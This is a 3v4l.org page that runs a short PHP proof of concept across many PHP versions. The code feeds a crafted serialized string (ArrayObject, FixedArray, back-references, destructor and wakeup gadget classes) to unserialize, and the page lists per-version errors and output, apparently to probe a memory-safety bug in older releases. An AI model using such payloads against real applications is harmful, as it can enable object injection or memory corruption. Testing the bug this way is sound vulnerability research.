3v4l.org

run code in 300+ PHP versions simultaneously
<?php class a { public $a; function __destruct() { $t=1337; echo(serialize($this->a)); } } class b { public $b; function __wakeup() { $this->b=null; } } $i='x:i:0;O:10:"FixedArray":2:{i:0;i:1711;i:1;O:1:"a":1:{s:1:"a";R:4;}};m:a:0:{}'; $x=unserialize('a:2:{i:0;C:11:"ArrayObject":'.strlen($i).':{'.$i.'}i:1;O:1:"b":1:{s:1:"b";R:4;}}'); $x=null; echo('doe');
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.27, 8.2.0 - 8.2.17, 8.3.0 - 8.3.4
Fatal error: Uncaught UnexpectedValueException: Error at offset 67 of 76 bytes in /in/6vTPv:16 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:10:"Fix...') #1 /in/6vTPv(16): unserialize('a:2:{i:0;C:11:"...') #2 {main} thrown in /in/6vTPv on line 16 O:10:"FixedArray":2:{s:1:"0";i:1711;s:1:"1";O:1:"a":1:{s:1:"a";r:1;}}
Process exited with code 255.
Output for 7.0.11 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33
Fatal error: Uncaught UnexpectedValueException: Error at offset 67 of 76 bytes in /in/6vTPv:16 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:10:"Fix...') #1 /in/6vTPv(16): unserialize('a:2:{i:0;C:11:"...') #2 {main} thrown in /in/6vTPv on line 16
Process exited with code 255.
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.10
N;doe

preferences:
261.99 ms | 402 KiB | 326 Q